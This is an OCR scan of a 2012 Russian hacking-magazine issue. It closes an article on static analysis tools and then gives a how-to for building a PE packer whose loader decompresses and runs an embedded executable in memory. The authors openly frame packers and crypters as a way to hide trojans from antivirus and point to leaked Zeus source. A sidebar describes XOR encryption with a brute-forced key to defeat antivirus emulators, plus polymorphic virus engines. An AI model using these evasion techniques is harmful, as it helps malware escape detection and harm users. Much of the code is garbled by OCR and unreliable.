и он проверит его на вышеперечисленные ошибки (вернее , на шаблоны в коде, которые на них очень похожи). Coccicheck лежит в директории scripts/ проекта coccinelle. Herodotos (bit.ly/vrmt8v) позволяет проследить эволюцию ошибок в нескольких версиях программы. П ри этом он собирает

интересную статистику и может строить графики .

• Coccigrep (bit.ly/gxM9nd ) - это « семантический grep» для С. Он может искать в программе заданные структуры или переменные

(как и DXR) . • Spdiff Ibit .ly/rLhp7P) - это « семантический diff», то есть инстру­

мент для автоматического выявления изменений в программе .

Звучит очень круто, но работает он только в лабораторных

условиях.

Coccinelle переводится с французского как « божья коровка »

(bug that eats another bugs) . Документация на « коровку » довольна разрозненная, поэтому, чтобы понять , как писать на SmPL, при­дется пройти небольшой квест. Но оно того стоит. В пользу этого

говорит хотя бы количество багов, найденных в коде Linux [судя по bit.ly/dlggI6 , оно достигает нескольких сотен) .

ЗАКЛЮЧЕНИЕ Итак, каковы общие рекомендации по поиску ошибок с помощью

ин струментов для статического анализа? Первым делом проверь

свой код при максимальном уровне предупреждений компилятора (то есть указывай не только -Wall) . По возможности лучше ис­пользовать для проверки несколько компиляторов (например, intel, clang). Далее в с ё зависит от языка. Если это С++, то выбор бесплат­

ных инструментов достаточно ограничен (С++ тяжело разбирать; вероятно, ситуацию улучшит возможность писать плагины для

GCC). Определенно стоит попробовать Cppcheck, который особенно хорошо на ходит утечки памяти. ДЛЯ С++ также есть Dehydra, но для нее, скорее всего, придется писать проверки самостоятельно . Для

чистого С ситуация получше . Есть отличный инструмент Coccinelle, есть Frama-C. Они умеют находить определенные типы утечек памяти , вы ходов эа границу и прочие ужасы. Однако для поиска

нетривиальны х ошибок недостаточно просто натравить на код эти

инструменты (как и большинство других продвинутых программ для статического анализа). Нужно либо писать свои проверки, либо специальным образом настраивать сам анализатор.

С другой стороны, опыт статического анализа показывает,

что наиболее часто встречаются именно тривиальные ошибки,

которые успешно отлавливают инструменты статического анализа

« из коробки » . Поэтому проверить свой код статическим анализато­

ром - это хорошая идея. ::J:

093

Page 96: Xakep 02_2012

КОДИНГ PeterandtheWolf

~-паке--РАЗРАБАТЫВАЕМ свой УПАКОВЩИК ИСПОЛНЯЕМЫХ ФАЙЛОВ

Мы с Волком давно заметили, что разработка

РЕ-пакеров, крипторов и навесных защит­

это почему-то удел немногих. Самого разного

рода троянов в инете целая куча, а софта

для упаковки и скрытия от антивирусов кот

наплакал . При том, что код-то там несложный,

просто сорцов в паблике, от которых можно

было бы отталкиваться при разработке своего

стаффа, как-то не наблюдается. Мы решили

исправить эту досадную ситуацию. Сейчас

мы расскажем, как написать свой несложный

упаковщик исполняемых файлов и научить его

паре дерзких приемов.

авным-давном, когда Windows хр еще не было, в поисках

информации о пакерах мы с Волком забирались в самые

дебри исходников тогда еще молодого UPX. НО то ли аце­тилхолина у нас в мозгах синтезировалось меньше нужного, то ли

UPX уже тогда был очень занудным - в общем, мы почти ничего из

тех сорцов не извлекли. Мэтт Питрек, и тот помог больше . Сейчас

с инфой значительно проще стало. Почти всё есть. Даже сорцы

вполне себе нормального банковского троя можно скачать IZeus 2.0.8.9, bit.ly/v3EiYPI. Да чего уж там, сорцы винды уже давно в паблике IWiпdоws 2000, bit.ly/rBZICyl.

Об упаковщиках информация тоже есть, но в основном ис­

следовательская, непосредственно разработки касающаяся не с

той стороны , с которой нам бы хотелось. Отличным примером тому

является статья «Об упаковщиках в последний раз» Ibit.ly/vRPCxZ,

О"

Исходный код и После выполнения бинарники к этой функции

статье ищи на нашем LoadExecutabIe DVD. в эагруэчике

неплохо было бы освободить память, выделенную ДЛЯ

распаковки, - она

нам больше не пригодится.

Page 97: Xakep 02_2012

Создание хедера с помощью bin2h можно автоматизировать

Ыt.lуLtSUхТ7 ! в двух частях, написанная небезызвестными гуру Volodya и N ЕОх.

Мы, в свою очередь, постараемся максимально конкретно и по­

следовательно дать информацию именно о разработке простейше­

го, но легко модифицируемого под любые свои нужды РЕ-пакера.

АЛГОРИТМ Вот есть у нас, например, notepad.exe. В обычном своем 32-бит­ном виде он весит где-нибудь 60 Кб. Мы хотим его существен-но уменьшить, сохранив при этом всю его функциональность.

Какими должны быть наши действия? Ну, для начала мы наш

файлик от первого до последнего байтика прочтем в массив.

Теперь мы можем делать с ним всё что угодно. А нам угодно его

сжать . Берем его и отдаем какому-нибудь простому компрессору,

в результате чего получаем массив уже не в 60 Кб, а, например, в 20 Кб. Это круто, но в сжатом виде образ нашего « Блокнота»­это просто набор байтов с высокой энтропией, это не экзешник, и

его нельзя запустить, записав в файл и кликнув. Для массива со

сжатым образом нам нужен носитель [загрузчикl, очень малень­кий исполняемый файл, к которому мы прицепим наш массив и

который его разожмет и за пустит. Пишем носитель, компилируем,

а затем дописываем к нему в конец наш сжатый «Блокнот». Со­

ответственно, если полученный в результате всех действий файл

[размер которого немного больше, чем у просто сжатого «Блокно­

та » lзапустить, он найдет в себе упакованный образ, распакует, распарсит его структуру и запустит.

Как видишь, нам предстоит автоматизировать не слишком

сложный процесс. Нужно будет просто написать две программы,

загрузчик и, собственно, упаковщик. Алгоритм работы упаковщика:

считать РЕ-файл в массив;

сжать массив каким-нибудь алгоритмом сжатия без потерь;

в соответствии с форматом РЕ дописать сжатый массив к

шаблону-загрузч ику.

Алгоритм работы загрузчика:

найти в конце себя массив со сжатым РЕ-файлом;

разжать его;

распарсить заголовки РЕ-файла, расставить все права, выде­

лить память и в итоге запустить.

Начнем разработку с загрузчика, так как именно им впослед­

ствии будет манипулировать упаковщик .

ЗАГРУЗЧИК Итак, первое, что должен сделать наш загрузчик, - это найти в

своем теле адрес массива со сжатым образом РЕ-файла. Способы

ХАКЕР 02/157/201 2

HOW-TO: РЕ-па кер

> 1,( _· ..... _ .1.000 .· 1_ 1_ J ... I_, .1 .. __ . ........ ""' ........ " " ._,

'-'С ____ -А_ . C_.-"""AJIМO-c_. _",-" _· __ Wl, _ .. }(

.'1-· ... ·.-...1 . -11 _,,,,,_' ''8<1'1111 _ .... . _ •• • r-J_.(II8.II.С_J_· ..... _ ... l j,

'"~~( '_· ........ Iм ' ........ _ .. ц

:;,,~~:..-:-{::Oj ===:i"~~:=~~..;:.j~.I ..... _ ... , MW),

КУСОК кода парсера таБЛИЦbl импорта

поиска эависят от того, как упаковщик имплантировал этот массив

в загрузчик.

Например, если бы он просто добавил новую секцию с данными,

то поиск выглядел бы так :

П9ИСК СЖiпgго 09p,iI;!a в IJQследнеЙ. секци.!! ...

1/ Получа.ем аДРеС начал" PE-З"Г.Qловка ... з.агрузч.ика в П"МflТИ HMODUL.E .. hModule",. GеtМоdulеНалdJе (NUL.L)~

PlМAGE_QQS_HEADERpDosHeader = .. (PlМAGE_DQS_HEA!IER) hMo.Q.y}e; PIMAGE_NJ_HEADERS. pNTHea.ders = ..

MakePtp(PIM/IG.E_NT_HEADERS, hMogule, pD.QsHeaderc>e_l f,щеw); РIМАGЕ_SЕС;ПОN_НЕАDЕR р,sесtiопs . =

IMAGEJIRST _SЕСПОN( p-t.JТНеаdеJ"S); и Структура, ОIJ.ИСblваЮЩ<jЯ ПЩ!lеднюю секцию нашего .

загрузчика

PJt-1AGЕ_SЕСПОN_НЕАDЕRРLi!StSесtigп = ... &рSесtiопs [pNTJ!eaqerS.7.?FiletJei!d.er. NLJml:1erOfSecJions -... 11;

/.l Собст:венно~ .наЙдеННblЙ .. образ .... "РВУТЕ PQPi!ckedIl!1age ."' ... ~.a.kePt.rCLPE!YT.E, ... bMQdul!~, . .. рLаst,5J!сtiоп-. .>V;irtUillAddrеs~); I L. .. Ero р"эмер QWORD dWl"ackedImageSize = рLаs:t.Sесt.iQл с >SizеQfRаwQа:t.iI~

Но, на наш с Волком взгляд, этим кодом в загрузчике можно

пожертвовать. Вообще, всё, что может сделать упаковщик, пусть

он и только он и делает. Адрес образа в адресном пространстве за­

грузчика можно вычислить заранее, при упаковке, а потом просто

вписать в нужное место. Для этого оставляем в нашей программе

две метки:

LPBYТE р.QрасkеdI[Паgе = (J.PBYТE) ~xDEAD.6.~EF ;

DWORD dIYPackedlm.<jgeSi.~.e ... = exBEJ;f<::ACE; ....

Когда упаковщик будет имплантировать в загрузчик массив со

сжатым образом, он пройдется сигнатурным поиском по телу за­

грузчика и заменит OxDEADBEEF на адрес массива, а OxBEEFCACE - на его размер.

Теперь, когда мы определились, как искать адрес, можно вы­

брать готовую реализацию алгоритма сжатия для использования в

нашем упаковщике.

Неплохой вариант - использовать aplib [www.ibsensoftware. сот !, маленькую библиотеку с аккуратным и очень компактным кодом, реализующую сжатие на базе алгоритма Лемпеля-Зива [LZ!. И мы обязательно его выбрал~ бы в любой другой день, однако

сегодня у нас настроение для еще более простого и компактного

решения - встроенных в Windows функций!

095

Page 98: Xakep 02_2012

кодинг

Начиная с ХР, наша любимая ntdll .dll начала экспортировать две прекрасные функции:

NI,$ЛШ,J.$ ... R:tJJ~.Q!!Iрг.~~.~fj.Уf.f~.r.( ......................................................................... . .... _~-'J. ....... !J.sl:I.QJП ... сQ-'JJр.r~.~~JQлf'.Qгm<!.tМр.Е.пg~л~~ ................................... . ..... _з,п ....... Р.J,J.сJ:!Ав ... J,Jдс.Qmрг.е.~.~~.c;J6.Уf.f~.r , ...................................... . .... _~л ...... J.!!.QN.G .. 1Jдс.Qmр.r.~.~.~.~g.еуff~.r5J~.~, ............................. . .... _ QJ.l1; ..... Р.щ:J:!АR ... сQ-'!!R-r~.~~.е.!шу.ff~.r~ ....................................... . ..... _tn ..... LI.~QN.G .. сQЛ!р.r~.~~~g.е.ч.ff.е.r.5.~.<:.е~ ......................... _ .................... . .... _j,л ........ I..!!.QNG ... l..!n.с.Q!!Iрг.~~.~е.gс.Ь!JJ1~.$.i.<:е, ............................................... . .... _Qуt .... 1'.I..!!.QNG .. .Еj,JJ.<!J.СQmр.r.е.~ .~.~9.$.tl-е., ................................................... . ..... _j,л ..... Р.I,I.Q;J;I1 ... wшk.$.рiК~ ..................................................................... . )..; ...................................... _ ...................•..............•......................................... NI5.T,;IJ.J.S .. .R:t.],P.e.c.Q!!Ipr.~~~6.yf.fe.r.c. ....................................... _. . .............. _ .. ..... _;iл ....... !J.sI:IQRI ... сQлJR-r.~.~.~JQлf.Qг.m<!.t, ................................ . .... _Qу.t .. -.!'lю:tА.R. .. I..![].с.Qmр.r.~.~.~~g.е.уf.f~.r , .......................................... . ..... _.:i.л ..... I..!!.QNG ... I..!О'с.QmR-r~.~.:;.еg .е.уff.еr.,$J.~.~~_ ............................. _ ..... _ ..... .

.. _iп .. J'I,КН8К .. сQл!р.rе.~~.~gI\!J.ff.еr:J ........................................................ . .. _iп .... I..!~.QN.G ... CQroP.r~.~.~.~gI!!J.ff~r.S j,.ze, ..................................................... . ... _Q.y:t .. J)u.kQNG .. JJл.<l.ш!КQ!!Iрг.~.~.~е.g,$J~.~ ................................................ . }; ........ - _ ......................................................................................... _ .........•.. _ .. .

Названия их говорят сами за себя - одна функция для ком­

прессии, другая для декомпрессии . Конечно, если бы мы разра­

батывали действительно серьезный продукт, мы бы эти функции

не трогали, ведь остались еще компьютеры и с Windows 2000, и даже с NT 4.0 ;), но для наших скромны х целей RtlCompressBuffer\ RtlDecompressBuffer вполне подойдут.

В хедера х Platform SDK этих функций нет, статически мы и х прилинковать не сможем, поэтому придется воспользоваться

GetProcAddress:

Qпр.~деl!.~Н.I!~ ... <!др.е.!;.ё;! ... фу!:l.[';цl!lI ... дl!II .. Р..i!~.П<!1.(9.1;I[';.1! .................... . 11 .. QП~.с~IВа~~_ .. !J.~Р..~~.~Н.I:I.}I!!! .J~.tJ.Dе.срлlрr:е.~sВ!J.ff~г .. 'Пш.i! .................. . «фунКц."'я ... с ... ще.с:г.~!9 ... !J.i!р.i!~.~I.P.<!МI! » ............................................................... . QW.QI1Q ... (_~.tgc.<lJl ... ·.R:tJQ.~!;.Q!!Ipr.~:;.~fj.yf.fe.r. } ............................................... . .. .. . ( .1) !,QN.G.JР'\(QЩ,ш'QNG,l'.\(9.IР.,J,J.!.9.NG.,. РJ.! .~.QN.G ).; ................................. .

1/ .. Пр"'с;~.i!!Н!ё;I.~~ .. J~.Й. ... ё;!АРе.с .... R:tlР.е!;Qroр.r:~.~~.Е!J.I.ff.~г ... ~ .. л.tg.ц.,gJJ ...... . сЕ/J.~РRQс&J.RtlQ~шmр.r.е.~~I\!J.ffеr ... ,. .. G.е1;J' r.Q.сМg.се.~.~. ( ...................... .

.~Q<lcjL.j,.Qr..<I.су.( .':л:t.g1:). .•. g1:).::J., ... : 'R:tJQ~!;Q.roр.r~~~.6.1).ff~r.::.J; ......... .

Когда есть чем распаковать и есть что распаковать, можно уже,

наконец, это сделать. Для этого мы выделим память с запасом [так как не знаем объем распакованного файла) и запустим определен­ную выше функцию :

QwQJ.ш ... cj.wIm.<lg~.$.Jи.,. ... !:!.; .................................................................................... . Dw.QRD .. ф~~!!Ii!gеI~!!IрsJ~.~ ... =. ... QwР.i!.с.kеg~.roаЕ.еsJ.!!:е .. :' .. JS; ....................... . f/ .. Вы.д.еляю Пё;lМЮ;f> .. ЛШ)' ... Р.'КI]ё;!1.фванн.ыЙ . QQраз ...................................... . !.PVOJ:Q R-РII1!.аg.е .. .:= ... Уir.tJ.l.i!JА!JQ.с ( .. t-jU ~J" , ... gw;J;.I!li!g~J~mp,$J.<:~~.

.... _ !1~!1_с.Qt1!'1П, .Р.АGсR~АQwRл.Е . 1; ...... .................................... .

ДЛЯ СЖАТИЯ УДО&НО &ЫЛО БЫ.

ИСПОЛЬЗОВАТЬ МАЛЮСЕНЬКУЮ

&И&ЛИОТЕКУ APLIB, НО МЫ ПОСТУПИЛИ ПРОЩЕ И

ЗАЮЗАЛИ ВСТРОЕННЫЕ В

ВИНДУ ФУНКЦИИ

096

fL. .. f'.<!!;л<!КQ.I;I!>I.I;I<!.I!! ................................... _ ..................... _........................ . ........... . ~НQе.сQ.I!lрпs~.6у.ff.еr..(с.Q!1"-R.Еs.5.IQN_ЕQR!1А:с.~(;Nл, ............................... . ...... R-рJm.<lg~., .... gwJm.<!gй~mR$J;;:.е., ................................... . ........ P..QP.iI!;.~e9.Imi!ge.~ ... P.W".<!!;.K~.cjIl1!qge..$.;j,.?;~., ... .

. .. МI1iImi!g~.5.;j,д).;. ........................................ .

Пара метр COMPRESSIONJORMAT_LZNT1 означает, что мы хотим использовать классическое LZ-сжатие. Функция умеет

сжимать и другими алгоритмами [bit .ly/sV9SVu ), но нам хватит и этого .

Теперь у нас в памяти [pbImagel есть сырой образ РЕ-файла . Чтобы его запустить, нужно провести ряд манипуляций , которые

обычно делает нативны й РЕ-загрузчик Windows. Мы сократим список до самых-самы х необходимых :

1. Разместить начало образа [хедеры) по адресу, указанному в поле Image Base опционального заголовка [OPTIONAL_ HEADERI .

2. Разместить секции РЕ-файла по адресам, указанным в табли­

це секций . з. Распарсить таблицу импорта , найти все адреса функций и

вписать в соответствующие им ячейки.

Естественно, стандартный РЕ-загрузчик выполняет целую

кучу других действий, и тем , что мы их отметаем, мы огра­

ничиваем совместимость нашего упаковщика с некоторыми

РЕ - файлами. Но для абсолютного большинства хватит и эти х

действий - можно не фиксить релоки , фиксапы и прочую редкую

и противную фигню . Если вдруг тебе захочется серьезной совместимости, ты или

сам напишешь крутой РЕ-лоадер, или найдешь в Сети наибо-лее полную его реализацию - нам с Волком было лень писать

свою, и мы воспользовались трудами gr8 из hellknights [.bl1JyL tc65cB) выкинув из нее всё, что не поняли;l. Даже в урезанном виде функция РЕ-лоадера - это строчек сто, не меньше, поэтому

здесь мы при ведем только ее прототип [полный код лежит на диске):

tit19.Р.J.!!.I ... kР.i!9J.J.<.ещt.<l.RJе ... .( ~Р..еуп .. Jl)lj!ge., ......................................•.... ..... QWQ.RP..*. .. Mg.r.e.~:i.QHJJ.1;rye9.iJJ.t} ......................................................... _

Она принимает указатель на наш распакованный образ и

возвращает дескриптор загруженного модуля [эквивалент

адреса, по которому загружен РЕ-файлl и адрес точки входа [по указателю АddгеssОfЕпtгуРоiпtl . Эта функция делает всё , чтобы правильно разместить образ в памяти, но не всё, чтобы можно

было, наконец, передать туда управление .

Дело в том , что система по-прежнему ничего не знает о за­

груженном нами модуле. Если мы прямо сейчас вызовем точку в хода , с которой сжатая программа начнет выполнение , то может

возникнуть ряд проблем . Работать программа будет, но криво .

Например, GetModuleHandle[NULL) будет возвращать Image Base модуля загрузчика, а не распакованной программы . Функ­

ции FiпdRеsоuгсе и LoadResource будут рыться в нашем загруз­чике, в котором никаких ресурсов нет и в помине. Могут быть и

более специфические глюки . Чтобы всего этого не происходило,

нужно в системных структурах процесса по возможности везде

обновить информацию, заменив адреса модуля загрузчика на

адреса загруженного модуля.

В первую очередь нужно пофиксить РЕВ [Process Enviroment Block), в котором указан старый Image Base. Адрес РЕВ очень легко получить, в юзермоде он всегда лежит по смещению Ох3 0 в

сегменте FS.

P.J>J;.6.J)~.Q; .............................................................. . _<!.~.I!l ... { ... . .......... ~ ............................................. .

. ............... R-y:i.b ... e.i!.'-'-........................................................................................... . ................... mQу ... ~.<I.'-'- , ... f.$. .;I!:!х2.е. ] ; ............................. _............................. . ...... .

ХАКЕР 02/157/20 12

Page 99: Xakep 02_2012

8ВЕС 83ЕС 13С 56 57 68 2С1е131313 68 213113131313 FF15 13411313131 513 FF15 131311313131 6А 134 68 131311313131313 68 12Е213С313 6А 1313 8BF8 С745 FC

EBP.ESP SUB ESP.13C PUSH ESI PUSH ЕОI PUSH tеst.1эе131132С PUSH test.131313113213 CRLL OWORO PTR OS:[(&KERNEL32.LoadLi PUSH ЕАХ CRLL OWORO PTR ОS:[(&КЕRNЕLЭ2.Gеt PUSH 4 PUSH 1131313 PUSH 31313СЕ212 PUSH 13 MOV EOI.ERX MOV OWORO PTR SS:[EBP-4J.13

HOW-TO: РЕ-пакер

[

PrOCNar1eorord [па I = "Rt lDecoMPressBuffer" ( FileNaMe = "ntdll.dll"

LoadLibraryR hModule GetProcRddress

1313131273 1313131276 1313131277 1313131278 1313131270 1313131282 131301288 1313131289 1зее128F 1313131291 1313131296 1зе0129В 1313131290 1зее129F 1зе1312А6 1зее12АС 1зе012АЕ 1зее12В1 1313е12В2 1зее12В7 131313 12ВС 1зее12С1 1зее12С2 13131312С4 13131312С6 1зее12С9 1зее12СА 1зе1312СВ 13131312013 1313131203 1313131208 1313131200 13130120Е 13131312Е13 13131312Е6 13131312Е8 13131312ЕА 13131312ЕВ 13131312Fl 13131312F4 13131312F5 13131312F8 13131312FB lЭ131312FЕ 13131313131 13131313134 13131313137 13131313139

FF15 13811313131 8BF13

CRLL OWORO PTR OS:[<&KERNEL32.VirtuaIRI MOV ESI.ERX

[

protect = PRGE-RERDWRITE AllocationType = MEМLCOMMIT Si2e = 31313СЕ212 (81361513674.) Addr.ess = NULL

VirtualRlloc

8045 FC 513 68 4FB313131313 68 F81313131Э 68 12Е2есз13 56 6А 132 FF07 8040 F4 51 56 Е8 713FOFFFF 8ЭС4 138 68 131381313131313 68 12Е2есз13 56 8BF8 FF15 еС11313131

• 85FF .у74 28

LER ERX.OWORO PTR SS:[EBP-4J PUSH ЕАХ PUSH 13B34F PUSH tеst.1зе131ЭF8 PUSH 31313СЕ212 PUSH ESI PUSH 2 CALL ЕОI LER ECX.OWORO PTR SS:[EBP-CJ PUSH ЕСХ PUSH ESI CRLL tеst.1зе13113413 АОО ESP.8 PUSH 8131313 PUSH 31313СЕ212 PUSH ESI MOV EOI.ERX CRLL OWORO PTR OS:[(&KERNEL32.Virtua TEST EOI.EOI

513 64:А1 8945 58

JE SHORT tеst.1зе131312 PUSH ЕАХ

3131~13131313( MOV ERX.OWORO PTR FS: [Э13J

8В55 F8 897А 138 8В45 F8 8В48 13С 8В45 F4 8В51 13С 133С7 897А 18 8945 F4 FF55 F4

Процесс отладки бажного файла в OllyDbg

}

J!1QV Р_ер_, _ еюс __ рор_ e<;l)<

MOV OWORO PTR SS:[EBP-8J.EAX РОР ЕАХ MOV EOX.OWORO PTR SS:[EBP-8J MOV OWORO PTR OS:[EOX+8J.EOI MOV ERX.OWORO PTR SS:[EBP-8J MOV ECX.OWORO PTR OS:[ERX+CJ MOV EAX.OWORO PTR SS:[EBP-CJ

OWORO PTR OS:[ECX+CJ 1 PTR OS:[EOX+18J.EOI PTR SS:[EBP-CJ.ERX

PTR SS:[EBP-CJ

/ j hf1Qd_u1e_ ~ _<;IАРе~ .P-il_СПЭt(QваН_1:I9ГО ~ __ за [руже I:IJ:IPT О -'j_<'",и .РЕ_с._

файла

Ре_Ь- ~;r)Паgе_Ваs_еAdQrе_~s. = }J.t1PQY.le.; .... _ ..... .

Также не помешает пофиксить списки модулей в структуре

LDR_DATA, на которую ссылается РЕВ. Всего там три списка: • InLoadOrderModuleList - список модулей в порядке загрузки;

• InMemoryOrderModuleList - список модулей в порядке рас­

положения в памяти;

• InlnitializationOrderModuleList - список модулей в порядке

инициализации .

Нам надо найти в каждом списке адрес нашего загрузчика и за­

менить его на адрес загруженного модуля . Как-нибудь так:

/ I Первыt1._заГРУ)]<ilеI.СВ_. н_аш MQM/lb, .. TaK _'iI.p и по . всему Cn~.(KY n'РОХоlI~ТЬ .!jе .. 9б_!l_З.<~Т.е!J.ЬНО

Р LQ!U>!< Т~_IAB hЕ_ЕN1ЯУ Rh_QTEJ11,CY_. = ._(f'.L_PB_DAT А_Т ABLCENTBY) (РеР- ~J9.r:c ?f1.Qdчl.еЦ~tJQiI_Q.Q.r.::d_еr.,J] __ ~JJk1; .

рLdrJ;лtrу.с. > DЛ!!iI.sе .. 'О. iJI1Q.dy),e; _ ... _ ... __ ......... _ ..

ХАКЕР 02 / 157/2012

[ АГ92 АГ91 test.1313e1e413

[

FreeType = MEМLRELERSE Si2e = эе13СЕ212 (81361513674.) Rddress •

VirtualFree

Вот теперь можно смело вызывать точку входа загруженно­

го модуля. Он будет функционировать так, словно был вызван

самым обычным образом.

hPVOII>. eГl1;cy .= ДРI(QЩ) {(~BO) hМоQulе ... ± .. М9геssQf.Елt"Уf'р:!.n:t:};

_ as l!! .. can .. e.t:1t.Cy..; ....... _ ...... .

AddressOfEntryPoint - зто относительный виртуальный

адрес (RVA, Relative Virtual Addressl точки входа, взятый из optional header в функции LoadE xecutabIe . Для получения абсо­лютного адреса мы просто прибавили к RVA адрес базы (то есть свежезагруженного модуляl.

УМЕНЬШЕНИЕ РАЗМЕРА ЗАГРУЗЧИКА Если наш загрузчик скомпилировать и собрать в VS 201 О с флагами по умолчанию, то мы получим не двухкилобайтную

программку-носитель , а монстра размером более 10 Кб. Студия встроит туда целую кучу лишнего, а нам надо всё это оттуда вы­

грести.

Поэтому в свойствах компиляции проекта эагрузчика [вкладка (/(++) мы делаем следующее: • В разделе "Оптимизация » 'выбираем «Минимальный размер

[J011 », чтобы компилятор старался сделать все функции более компактными.

097

Page 100: Xakep 02_2012

кодинг

--------ЕСЛИ БЫ МЫ ИСПОЛЬЗОВАЛИ

ГЛОБАЛЬНЫЕ ПЕРЕМЕННЫЕ,

ТО НАМ ТАКЖЕ НАДО БЫЛО

БЫ ОБЪЕДИНИТЬ С КОДОМ

СЕКЦИЮ .ОАТА

• Там же указываем приоритет размера над скоростью (флаг /Osl . В разделе «Создание кода » выключаем исключения С++, мы их

не используем.

Проверка переполнения буфера нам тоже не нужна I/GS-I. ЭТО штука хорошая, но не в нашем случае.

в свойствах линкера (компоновщика): Отключаем к чертям «Манифест». Он большой, и из-за него в

загрузчике создается секция .rsrc, которая нам совершенно не нужна. Вообще, каждая лишняя секция в РЕ-файле - это мини­

мум 512 совершенно ненужных байт, спасибо выравниванию. Отключаем создание отладочной информации.

• Лезем во вкладку «Дополнительно». Выключаем « Внесение

случайности в базовый адрес» I!DYNAMICBASE:NOI, иначе лин­кер создаст секцию релоков I.relocl.

• Указываем базовый адрес . Выберем какой-нибудь нестандарт­

ный повыше, например Ох02000000. Именно это значение будет

возвращать GеtМоdulеНапdlе(NULLI в загрузчике . Можно его даже захардкодить.

• Указываем нашу точку входа, а не СRТ-шную: /ЕNТRУ:WiпМаiп. Вообще, мы привыкли это делать директивой pragma прямо из кода , но раз уж залезли в свойства, то можно и тут.

Остальные настройки для линкера задаем непосредственно из

кода:

#pragma comment (linker, "/MERGE: . rdata=. text" )

Здесь мы объединили секцию .rdata, в которой содержатся данные, доступные только для чтения !строки, таблица импорта и т. п.l, с секцией кода .text. Если бы мы использовали глобаль­ные переменные, то нам также надо было бы объединить с кодом

секцию .data.

#pra.gma comment( linker, "/MERGE: . data=. text" ) / / к .данным из • data нужен доступ на запись~ // а не только на чтение и выполнение

#pragma comment(linker~ " /SECТION: • text, EWR" )

ПЕРЕДЕЛЫВАЕМ В КРИПТОР

Всего перечисленного хватит, чтобы получить лоадер размером

в 1,5 Кб.

УПАКОВЩИК Нам остается разработать консольную утилиту, которая будет сжи­

мать отданные ей файлы и при цеплять к лоадеру. Первое, что она

должна делать по описанному в начале статьи алгоритму, - это

считывать файл в массив. Задача, с которой справится и школьник:

HANDL'E hFile = CreateFile(argv[ l J, GENERIC_READ., FILE_SHARE_READ, .. NULL, OI'EN_EXISТING,

F~LE_ATTRIBUTE_NQRMAL, NULL); DWORD dwImageSize =. GetFileSize(hFile, 0); LPBYTE lpImage = new BYTE[dwImageSize],

lpCompressed.Image = new BYТE[dwImageSize]; DWORD dwReaded; ReadFile(hFile, lpImage,

dwImageSize, &dwReaded, 0); CloseHandle{hFileli

Далее наш пакер должен сжать полученный файл . Мы не будем

проверять, действительно ли это РЕ-файл, корректные ли у него

заголовки и т. п., - всё оставляем на совести пользователя, сразу

сжимаем. Для этого воспользуемся функциями RtlCompressBuffer и RtIGetCompres·sionWorkSpaceSize. Первую мы уже описали выше - она сжимает буфер, вторая же нужна, чтобы вычислить объем

памяти, необходимой для работы сжимающего движка. Будем

считать, что обе функции мы уже динамически подключили (как и в загрузчикеl, остается только их запустить:

DWORD format = COMPRESSION_FORMAT_LZNT~lcOMPRESSION_ENGINE_STANDARD;

DWORD dwCompressedSize, dwBufferWsSize, dw.FragmentWsSize; RtlGetCompressionWorkSpaceSize(

fQrmat, &dwBufferWsSize.,. &dwFragmentWsSize); LPBYТE workspace = new ВУТЕ [dwВuffеrWsSЦе]; RtlCompressBuffer(fQrmat, / / тип сжатия и движок

lpImage, /1 массив ~Я сжатиЯ dwImageSize, // его размер lpCompressedImage, // буфер ДЛЯ результата dwImageSize, // его размер 4096, 1/ размер KYCKOB~ не важен

&dwCompressedSize~ // указатель наАВОРД .ДЛЯ размера

// результата workspace); // буфер ~я работы

В результате у нас есть сжатый буфер и его размер, можно

при крутить их к загрузчику . Чтобы это сделать, нужно для начала

скомпилированный код нашего загрузчика встроить в упаковщик.

Самый удобный способ засунуть его в программу - зто воспользо­

ваться утилитой Ып2h (www.dеаdпоdе.огg/sw/Ып2h/ l. Она кон вер­

тнет любой бинарник в удобный сишный хедер, все данные в нем

будут выглядеть как-то так :

Собственно, от криптора наш

пакер отличает совсем немногое:

отсутствие функции шифрования и

противоэмуляционныхприемов.Самое

простое, что можно с ходу сделать, это

добавить хог всего образа сразу после

распаковки в загрузчике. Но, чтобы

эмуляторы антивирусов пода вились, этого

недостаточно. Нужно как-то усложнить

эадачу. Например, не прописывать ключ

Также ключ можно сделать эависимым от

какой-нибудь неэмулируемой функции или

структуры. Только их еще найти надо.

098

хог'а в теле загрузчика. То есть загрузчик

не будет знать, каким ключом ему надо

расшифровывать код, он будет его

перебирать в определенных нами рамках. Это

может занять какое-то время, которое есть у

польэователя, в отличие от антивируса .

Чтобы код загрузчика не палился

сигнатурно, можно прикрутить к упаковщику

какие-нибудь продвинутые вирусные

движки для генерации мусора и всяческого

видоизменения кода, благо их в Сети навалом.

ХАКЕР 02/157/201 2

Page 101: Xakep 02_2012

unsigned int loader_size = 1536; unsigned char loader[] = {

0x4d , 0х5а ,. 0х00 , 0х00 , 0х01 , 0х00 , 0х00 ,

Скармливаем ей файл с нашим лоадером и получаем всё не­

обходимое для дальнейших извращений. Теперь, если придер­

живаться алгоритма, описанного в начале статьи, мы должны

прицепить к загрузчику сжатый образ. Здесь нам с Волком

придется вспомнить 90-е и свое вирмейкерское прошлое. Дело в

том, что внедрение данных или кода в сторонний РЕ-файл - это

чисто вирусная тема. Организуется внедрение большим количе­

ством разных способов, но наиболее тривиальные и популярные

- это расширение последней секции или добавление своей

собственной. Добавление, на наш взгляд, чревато потерями при

выравнивании, поэтому, чтобы встроить сжатый образ в наш

загрузчик, мы расширим ему Iзагрузчикуl последнюю секцию. Вернее , единственную секцию - мы же изба вились от всего

лишнего ;1. Алгоритм действий будет такой:

Находим единственную секцию I.textl в загрузчике . Изменяем ее физический размер, то есть размер на диске

ISizeOfRawDatal. Он должен быть равен сумме старого разме­ра и размера сжатого образа и при зтом выравнен в соответ­

ствии с файловым выравниванием IFilеАligпmепtl. Изменяем виртуальный размер памяти IMisc.VirtuaISizel, при­бавляя к нему размер сжатого образа.

Изменяем размер всего образа загрузчика 10ptionalHeader. SizeOflmagel по древней формуле [виртуальный размер по­следней секции] + [виртуальный адрес последней секции],

не забывая выравнивать значение по FileAlignment. Копируем сжатый образ в конец секции.

Тут есть небольшая хитрость. Дело в том, что наша студия

делает виртуальный размер IMisc.VirtualSizel секции с кодом I.textl равным реальному невыравненному размеру кода, то есть указывает размер меньше физического. А значит, есть шанс

сэкономить до 511 байт. То есть так бы мы записали данные после кучи выравниваю­

щих нулей, а зная фишку, можно записаться поверх этих нулей.

Вот как все наши мысли будут выглядеть в коде:

Расширение секции кода

// Создаем копищ образа нашего загрузчика с запасом по

памяти

РВУТЕ pbLoaderCopy = ' new BYTE[loader_size + dwCompressedSize + 0х1000 ];

memcpy{pbLoaderCopy, (LPBYТE)&loader, loader_size);

